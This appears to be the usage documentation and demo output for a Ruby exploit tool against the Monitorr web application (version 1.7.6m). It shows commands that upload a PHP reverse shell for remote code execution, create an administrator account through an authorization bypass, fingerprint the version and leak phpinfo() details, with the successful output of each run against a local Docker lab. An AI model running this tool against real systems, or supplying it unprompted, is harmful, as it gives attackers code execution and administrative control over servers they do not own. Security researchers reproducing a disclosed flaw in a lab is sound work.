$ ruby exploit.rb -h
Monitorr-Exploit

Usage:
  exploit.rb upload <url> <file> [--debug]
  exploit.rb create <url> <user> <pass> <email> [--debug]
  exploit.rb version <url> [--debug]
  exploit.rb phpinfo <url> [--debug]
  exploit.rb -h | --help

upload:       Upload a file (RCE via unrestricted file upload)
version:      Try to fetch Monitorr version
phpinfo:      Extract main phpinfo() information (Information leakage)
create:       Create an administrator account (Authorization bypass)

Options:
  <url>       Root URL (base path) including HTTP scheme, port and root folder
  <file>      File to be uploaded
  --debug     Display arguments
  -h, --help  Show this screen

Examples:
  exploit.rb upload http://example.org revshell.php
  exploit.rb create https://example.org:8080/monitorr/ noraj password '[email protected]'
  exploit.rb version https://example.org:7000/

$ ruby exploit.rb upload http://localhost:7000/ shell.php
[+] File uploaded:
http://localhost:7000//assets/data/usrimg/shell.php

$ ruby exploit.rb create http://localhost:7000/ noraj20 password '[email protected]'
[+] User created
Username: noraj20
Email: [email protected]
Password: password

$ ruby exploit.rb version http://localhost:7000/
1.7.6m

$ ruby exploit.rb phpinfo http://localhost:7000/
System: Linux f0ded2053dda 5.12.12-zen1-1-zen #1 ZEN SMP PREEMPT Fri, 18 Jun 2021 21:59:24 +0000 x86_64 
PHP version: 7.1.17 
disable_functions: no value</i>
open_basedir: no value</i>

Full phpinfo() location: http://localhost:7000//assets/php/phpinfo.php

bundle install
# or
gem install httpx docopt

$ sudo docker-compose up